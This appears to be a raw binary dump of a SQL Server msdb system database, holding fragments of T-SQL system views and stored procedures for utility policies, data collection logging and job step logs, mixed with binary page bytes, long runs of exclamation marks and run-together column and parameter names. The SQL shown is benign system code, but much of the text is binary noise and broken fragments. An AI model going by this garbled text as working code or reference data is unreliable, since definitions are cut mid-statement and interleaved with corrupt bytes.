        , (SELECT physical_server_name, SUM(CASE WHEN 0 < is_global_policy THEN 0 ELSE 1 END) AS is_policy_overridden
           FROM msdb.dbo.sysutility_ucp_computer_policies  
           GROUP BY physical_server_name) cp     
    WHERE ip.dac_name = dd.dac_name
        AND ip.dac_server_instance_name = dd.dac_server_instance_name
        AND cp.physical_server_name = dd.dac_physical_server_name	
) 
0ɍ@ 	8CREATE VIEW dbo.sysutility_ucp_instance_policy_type AS
(  
    -- Target types
    -- computer_type = 1
    -- volume_type = 6

    -- Resource types
    -- processor_type = 3
    -- space_type = 1

    SELECT sv.Name AS server_instance_name
        , CASE WHEN ((0 < ip.is_policy_overridden) OR (0 < cp.is_policy_overridden)) THEN 1 ELSE 0 END AS is_policy_overridden
    FROM msdb.dbo.sysutility_ucp_instances sv
        , (SELECT server_instance_name , SUM(CASE WHEN 0 < is_global_policy THEN 0 ELSE 1 END) AS is_policy_overridden
           FROM msdb.dbo.sysutility_ucp_instance_policies 
           GROUP BY server_instance_name) ip 
        , (SELECT physical_server_name, SUM(CASE WHEN 0 < is_global_policy THEN 0 ELSE 1 END) AS is_policy_overridden
           FROM msdb.dbo.sysutility_ucp_computer_policies  
           GROUP BY physical_server_name) cp 
    WHERE ip.server_instance_name = sv.Name
        AND cp.physical_server_name = sv.ComputerNamePhysicalNetBIOS
) 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!u19`IK<
[M:b00+=E@ 8
CREATE PROCEDURE [dbo].[sp_syscollector_event_oncollectionstart]
    @collection_set_id int,
    @operator nvarchar(128) = NULL,
    @log_id bigint OUTPUT
AS
BEGIN
    SET NOCOUNT ON

    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_operator'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_operator')
        RETURN(1) -- Failure
    END

    -- Verify parameters
    --

    -- Check the collection_set_id
    IF (@collection_set_id IS NULL)
    BEGIN
        RAISERROR(14606, -1, -1, '@collection_set_id')
        RETURN (1)
    END
    ELSE IF (NOT EXISTS (SELECT collection_set_id FROM dbo.syscollector_collection_sets WHERE collection_set_id = @collection_set_id))
    BEGIN
        DECLARE @collection_set_id_as_char VARCHAR(36)
        SELECT @collection_set_id_as_char = CONVERT(VARCHAR(36), @collection_set_id)

        RAISERROR(14262, -1, -1, '@collection_set_id', @collection_set_id_as_char)
        RETURN (1)
    END


    -- Default operator to currently logged in user
    SET @operator = NULLIF(LTRIM(RTRIM(@operator)), '')
    SET @operator = ISNULL(@operator, suser_sname())

    -- Insert the log record
    --
    INSERT INTO dbo.syscollector_execution_log_internal (
        parent_log_id, 
        collection_set_id, 
        start_time,
        last_iteration_time,
        finish_time,
        runtime_execution_mode,
        [status],
        operator,
        package_id,
        package_execution_id,
        failure_message
    ) VALUES (
        NULL,
        @collection_set_id,
        GETDATE(),
        NULL,
        NULL,
        NULL,
        0, -- Running
        @operator,
        NULL,
        NULL,
        NULL
    )

    SET @log_id = SCOPE_IDENTITY()                
    
    RETURN (0)
END
0QE /8(suser_sname())0[E *	8CREATE PROCEDURE sp_help_jobsteplog
  @job_id    UNIQUEIDENTIFIER = NULL, -- Must provide either this or job_name
  @job_name  sysname          = NULL, -- Must provide either this or job_id
  @step_id   INT              = NULL,
  @step_name sysname          = NULL
AS
BEGIN
  DECLARE @retval      INT
  DECLARE @max_step_id INT
  DECLARE @valid_range VARCHAR(50)

  EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                              '@job_id',
                                               @job_name OUTPUT,
                                               @job_id   OUTPUT,
                                              'NO_TEST'
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- Check step id (if supplied)
  IF (@step_id IS NOT NULL)
  BEGIN
    -- Get current maximum step id
    SELECT @max_step_id = ISNULL(MAX(step_id), 0)
    FROM msdb.dbo.sysjobsteps
    WHERE job_id = @job_id
   IF @max_step_id = 0
   BEGIN
      RAISERROR(14528, -1, -1, @job_name)
      RETURN(1) -- Failure 
   END
    ELSE IF (@step_id < 1) OR (@step_id > @max_step_id)
    BEGIN
      SELECT @valid_range = '1..' + CONVERT(VARCHAR, @max_step_id)
      RAISERROR(14266, -1, -1, '@step_id', @valid_range)
      RETURN(1) -- Failure
    END
  END

  -- Check step name (if supplied)
  -- NOTE: A supplied step id overrides a supplied step name
  IF ((@step_id IS NULL) AND (@step_name IS NOT NULL))
  BEGIN
    SELECT @step_id = step_id
    FROM msdb.dbo.sysjobsteps
    WHERE (step_name = @step_name)
      AND (job_id = @job_id)

    IF (@step_id IS NULL)
    BEGIN
      RAISERROR(14262, -1, -1, '@step_name', @step_name)
      RETURN(1) -- Failure
    END
  END


    SELECT sjv.job_id,
           @job_name as job_name,
           steps.step_id,
           steps.step_name,
           steps.step_uid,
           logs.date_created,
           logs.date_modified,
           logs.log_size,
           logs.log
    FROM msdb.dbo.sysjobs_view sjv, msdb.dbo.sysjobsteps as steps, msdb.dbo.sysjobstepslogs as logs 
    WHERE (sjv.job_id = @job_id)
      AND (steps.job_id = @job_id)
      AND ((@step_id IS NULL) OR (step_id = @step_id))
      AND (steps.step_uid = logs.step_uid)
   
  RETURN(@@error) -- 0 means success
END
0:WE 8CREATE VIEW [dbo].[syspolicy_target_sets]
AS
    SELECT     
        target_set_id,
        object_set_id,
        type_skeleton,
        type,
        enabled
    FROM [dbo].[syspolicy_target_sets_internal]
0BtE %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!=6`d)UN+x6)=0@automatic_post6)=,@force_delete6)=*@schedule_id6)=.@schedule_name69>.@database_name69>(@login_name69><@username_in_targetdb6?r>6collection_item_id6?r>4collection_set_id6?r>0failure_message6?r>(finish_time6?r>8last_iteration_time6?r>log_id6?r>
"operator6?r>
:package_execution_id6?r>&package_id6?r>*package_name6?r>,parent_log_id6?r>>runtime_execution_mode6?r>&start_time6?r>	status6I>(device_type6I>>family_sequence_number6I>8logical_device_name6I>(media_count6I>0media_family_id6I>*media_set_id6I>	mirror6I>8physical_block_size6I>:physical_device_name6^?"@command6^?.@database_name6^?
8@database_user_name6^?@flags6^? @job_id6^?	0@on_fail_action6^?
2@on_fail_step_id6^?6@on_success_action6^?8@on_success_step_id6^?2@os_run_priority6^?4@output_file_name6^?$@proxy_id6^? @server6^?"@step_id6^?&@step_name6^?&@subsystem6cf?6@collection_job_id6cf?2@collection_mode6cf?*@schedule_id6cf?.@upload_job_id6S@>@additional_parameters6S@<@cmdexec_success_code6S@"@command6S@.@database_name6S@8@database_user_name6S@@flags6S@ @job_id6S@$@job_name6S@0@on_fail_action6S@2@on_fail_step_id6S@	6@on_success_action6S@
8@on_success_step_id6S@2@os_run_priority6S@4@output_file_name6S@$@proxy_id6S@(@proxy_name6S@0@retry_attempts6S@0@retry_interval6S@
 @server6S@"@step_id6S@&@step_name6S@$@step_uid6S@&@subsystem6Z@Fexecution_row_count_errors6Z@>execution_row_count_in6Z@@execution_row_count_out6Z@4execution_time_ms6Z@log_id6Z@"log_time6Z@$task_name6@>@additional_parameters6@<@cmdexec_success_code6@"@command6@.@database_name6@8@database_user_name6@@flags69I=@name69I=&@policy_id6r5=>@name6r5=>&@policy_id6r5=>$@new_name6Y1?@name6Y1?&@policy_id6Y1?,@condition_id6Y1?0@condition_name6Y1?0@execution_mode6Y1?2@policy_category6Y1?,@schedule_uid6Y1?*@description6Y1?	&@help_text6Y1?
&@help_link6Y1?6@root_condition_id6Y1?:@root_condition_name6Y1?
.@object_set_id6Y1?(@object_set6Y1?(@is_enabled6}%@@name6}%@&@policy_id6!=:physical_server_name6!=*computer_urn6!=0powershell_path6!=$policy_id6!=2is_global_policy6!=,resource_type6!=(target_type6!=2utilization_type6WE>"dac_name6WE>Bdac_server_instance_name6WE> dac_urn6WE>0powershell_path6WE>$policy_id6WE>2is_global_policy6WE>,resource_type6WE>(target_type6WE>	2utilization_type6i?Bdac_server_instance_name6i?"dac_name6i?:is_policy_overridden6ɍ@:server_instance_name6ɍ@:is_policy_overridden6=2secondary_server6=6secondary_database6=*secondary_id6=.primary_server6=2primary_database6=4restore_threshold6=0threshold_alert6=@threshold_alert_enabled6=	2last_copied_file6=
2last_copied_date6=:last_copied_date_utc6=6last_restored_file6=
6last_restored_date6=>last_restored_date_utc6=<last_restored_latency6=Bhistory_retention_period6f_?*alert_job_id!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!T&fD&

t
.

|Lj2


v
V
8

		t	6	$f	vR*n dR~P*^&nPHlV8~@j@h@.jBb:$^\6h(j0P`+)KzC~6F,0powershell_path6F,0processing_time6F,urn6߭, @job_id6߭,$@job_name6߭,*@oldest_datep-6p-,@schedule_uid6	'-"dataloss6	'-Bdestination_createparams6	'-
2destination_dbms6	'-6destination_length6	'-:destination_nullable6	'-<destination_precision6	'-4destination_scale6	'-2destination_type6	'-8destination_version6	'-&is_default6	'-&mapping_id6	'-8source_createparams6	'-(source_dbms6F,)&Processors6F,*.ProcessorUsage6F,+ Product6F,,*ProductLevel6F,-<ResourceVersionString6F,.,RootDirectory6F,/&ServerType6F,0.ServiceAccount6F,14ServiceInstanceId6F,2(ServiceName6F,32ServiceStartMode6F,4&SqlCharSet6F,5.SqlCharSetName6F,6.SqlDomainGroup6F,7*SqlSortOrder6F,82SqlSortOrderName6F,9Status6F,:2TapeLoadWaitTime6F,;&TcpEnabled6F,<*VersionMajor6F,=*VersionMinor6F,>,VersionString`(LTFrH"vHf8`2``)Hf	i)%6G(@proxy_name6G2@active_end_date6G
2@active_end_time6G6@active_start_date6G	6@active_start_time6G.@freq_interval6G@@freq_recurrence_factor6G@@freq_relative_interval6G<@freq_subday_interval6G4@freq_subday_type6G&@freq_type6G<@schedule_description6֩G @log_id60H:backed_up_page_count60H,backup_set_id60H(backup_size60H&create_lsn60H>differential_base_guid60H<differential_base_lsn60H"drop_lsn60H$file_guid60H(file_number60H
$file_size60H$file_type60H.filegroup_guid60H.filegroup_name60H8first_family_number60H6first_media_number60H&is_present60H(is_readonly60H*logical_name60H$page_size60H.physical_drive60H
,physical_name60H,read_only_lsn60H.read_write_lsn60H	>source_file_block_size60Hstate60H&state_desc6*eH(create_date6*eH$text_data6*eHuid6TȚH2@active_end_date6TȚH2@active_end_time6TȚH6@active_start_date6TȚH
6@active_start_time6TȚH0@automatic_post6TȚH"@enabled6TȚH.@freq_interval6TȚH
@@freq_recurrence_factor6TȚH	@@freq_relative_interval6TȚH<@freq_subday_interval6TȚH4@freq_subday_type6TȚH&@freq_type6TȚH @job_id6TȚH$@job_name6TȚH@name6TȚH*@schedule_id6TȚH,@schedule_uid6~H
.job_history_id6~Hjob_id6~H@last_executed_step_date6~H<last_executed_step_id6~H@next_scheduled_run_date6~H(queued_date6~H6run_requested_date6~H:run_requested_source6~H&session_id6~H:start_execution_date6~H	8stop_execution_date6H8@collection_item_id6H @log_id6H@mode6H$@operator6H<@package_execution_id6H(@package_id6H.@parent_log_id6I
2@active_end_date6I2@active_end_time6I6@active_start_date6I6@active_start_time6I0@automatic_post6I"@enabled6I.@freq_interval6I@@freq_recurrence_factor6I
@@freq_relative_interval6I	<@freq_subday_interval6I4@freq_subday_type6I&@freq_type6I @job_id6I$@job_name6I@name6I$@new_name6HI @log_id6J0@automatic_post6J @job_id6J$@job_name6J.@keep_schedule6J@name6WJ*condition_id6WJ&level_name6WJ,target_set_id6WJ8target_set_level_id6WJ,type_skeleton6J @log_id6 
K,backup_set_id6 
KDdestination_database_name6 
K*device_count6 
K"recovery6 
K replace6 
K	 restart6 
K*restore_date6 
K6restore_history_id6 
K*restore_type6 
K
 stop_at6 
K4stop_at_mark_name6 
K
(stop_before6 
K$user_name6*BK&attachment6*BK(create_date6*BK"filename6*BK"filesize6*BK(transfer_id6*BKuid64wKB@attached_schedules_only64wK:@include_description64wK*@schedule_id64wK.@schedule_name60K"@enabled60K.@object_set_id60K2@object_set_name60K.@target_set_id60K@type60K.@type_skeleton6)?K<additional_parameters6)?K:cmdexec_success_code6)?K command6)?K,database_name6)?K6database_user_name6H2@network_account6H6@mdw_database_name6yI(@proxy_name6yI2@credential_name6yI2@network_account6yI$@password-nJ|\"n<ZlF"|FL pJ bBd(zX(XFn*


f
.
\&B$



`
@

		j	*	t>vP4pBp8
lH&^2vBX"`)I*-6V @job_id6V$@job_name6V<@target_server_groups6V0@target_servers6W0active_end_date6W0active_end_time6W
4active_start_date6W4active_start_time6W*date_created6W,date_modified6W enabled6W,freq_interval6W>freq_recurrence_factor6W>freq_relative_interval6W
:freq_subday_interval6W	2freq_subday_type6W$freq_type6W,master_server6Wname6W6originating_serverb0zN.p@`fh)~
J{
6\0replyto_address6.@job_id_filter6<@name_of_id_parameter6@@name_of_name_parameter60@orig_server_id6&@owner_sid6*@schedule_id6.@schedule_name6,@condition_id6*@description6(@expression6@facet66@is_name_condition6@name6$@obj_name6;:@agent_proxy_account6;2@cache_directory6;.@instance_name6;:@virtual_server_name6Mޅ @job_id6Mޅ,@program_name6٥,@condition_id6٥@name6z
*@server_name6
,@condition_id6
@name6
$@new_name6&n @job_id6&n*@object_type6&n&@operation6&n,@schedule_uid6&n@@specific_target_server6&n@value6P"Nmandate_database_subscriptions6P"name6P"6policy_category_id60id60,version_build60,version_major60,version_minor602version_revision60.version_string6_<M$action_id6_<M,action_status6_<M	6action_status_name6_<M(action_type6_<M2action_type_name6_<M"comments6_<M&created_by6_<MBdac_object_name_posttran6_<M@dac_object_name_pretran6_<M0dac_object_type6_<M:dac_object_type_name6_<M*date_created6_<M,date_modified6_<M*error_string6_<M(instance_id6_<M payload6_<M
"required6_<M(sequence_id6_<M
$sqlscript6Jb>@performance_condition6"Udbms6"U dbms_id6"U version6Z"end_time6Z0logged_remotely6Z plan_id6Z	$plan_name6Z6source_server_name6Z&start_time6Z&subplan_id6Z
*subplan_name6Z$succeeded6Z.task_detail_id6e!&account_id6e!4last_mod_datetime6e!,last_mod_user6e!&profile_id6e!0sequence_number61oV@date61oV&@date_name61oV0@error_severity6jJ0@error_severity6jJ@time6jJ&@time_name6*createparams6(datatype_id6 dbms_id6type6>*@category_id6;4@management_state6;*@instance_id6/
>latest_processing_time6/
>latest_health_state_id6/
:next_health_state_id6/
id6nV,@utility_name6nV6@mdw_database_name6nV*@description6z@name6z@value6>@upload_schema_versionLtf2~NH,



Z
&

^8lL,


f
F

			d	4	j8\*Z@hBbPFvf4f>j:`g)M?[6|,logging_level6|name6|"proxy_id6|	*schedule_uid6|target6|,upload_job_id6$(is_incoming6$(is_outgoing6$4last_mod_datetime6$,last_mod_user6$&servertype6&created_by6	,database_name6*date_created6(description6(instance_id6,instance_name6$type_name6(type_stream6*type_version6N$,@jobs_deleted6N$(@msx_server6x.PHdefault_datatype_mapping_id6x.P*dest_dbms_id6x.Pmap_id6x.P0src_datatype_id6x.P(src_dbms_id6x.P(src_len_max6x.P(src_len_min6x.P*src_nullable6x.P*src_prec_max6x.P*src_prec_min6x.P
,src_scale_max6x.P	,src_scale_min6	*p6@collection_set_id6	*p@name634*@oldest_time634"@plan_id634(@subplan_id6/2health_policy_id6/
2is_global_policy6/$policy_id6/(policy_name6/,resource_type6/6rollup_object_type6/4rollup_object_urn6/(target_type6/	<utilization_threshold6/2utilization_type6H2@new_server_name6H*@server_name6BNd6@collection_job_id6BNd2@collection_mode6BNd6@collection_set_id6BNd:@collection_set_name6BNd8@collection_set_uid6BNd$@proxy_id6BNd*@schedule_id6BNd.@upload_job_id6lX*@delete_jobs6lX(@subplan_id6S*@policy_name6S.@resource_type6S8@rollup_object_type6S6@rollup_object_urn6S*@target_type6'^*@description6'^*@instance_id6'^.@instance_name6'^&@type_name6'^*@type_stream6'^,@type_version6l*@description6l(@result_set6{rX2@collection_mode6{rX6@collection_set_id6{rX8@collection_set_uid6{rX>@days_until_expiration6{rX
*@description6{rX	.@logging_level6{rX@name6{rX$@proxy_id6{rX(@proxy_name6{rX.@schedule_name6{rX,@schedule_uid6{rX @target6|*@description6| @job_id6S4@utilization_type6S>@utilization_threshold6SF@resource_health_policy_id6a$dac_count6a4dac_healthy_count6a8dac_unhealthy_count6a>dac_over_utilize_count6a@dac_under_utilize_count6aXdac_on_over_utilized_computer_count6aZdac_on_under_utilized_computer_count6ajdac_with_files_on_over_utilized_volume_count6a	ldac_with_files_on_under_utilized_volume_count6a
Tdac_with_over_utilized_file_count6aVdac_with_under_utilized_file_count6a^dac_with_over_utilized_processor_count6a
`dac_with_under_utilized_processor_count6%"mi_count6%2mi_healthy_count6%6mi_unhealthy_count6%<mi_over_utilize_count6%>mi_under_utilize_count6%Vmi_on_over_utilized_computer_count6%Xmi_on_under_utilized_computer_count6%hmi_with_files_on_over_utilized_volume_count6%	jmi_with_files_on_under_utilized_volume_count6%
Rmi_with_over_utilized_file_count6%Tmi_with_under_utilized_file_count6%\mi_with_over_utilized_processor_count6%
^mi_with_under_utilized_processor_count6I"dac_name6IBdac_server_instance_name6IDvolume_space_health_state6IPcomputer_processor_health_state6I@file_space_health_state6IFdac_processor_health_state6INcontains_over_utilized_volumes6IPcontains_under_utilized_volumes6I	Tcontains_over_utilized_filegroups6I
Vcontains_under_utilized_filegroups6I:is_policy_overridden6I0processing_time6nx mi_name6nxDvolume_space_health_state6nxPcomputer_processor_health_state6nx@file_space_health_state6nxDmi_processor_health_state6nxNcontains_over_utilized_volumes6nxPcontains_under_utilized_volumes6nxRcontains_over_utilized_databases6nx	Tcontains_under_utilized_databases6nx
:is_policy_overridden6nx0processing_time@J*RbtP4

f
0
V0`N


l
^2jx>

		~	H		RX0^4@0jp8`6dFV.
d8d<XBp~&<`u)
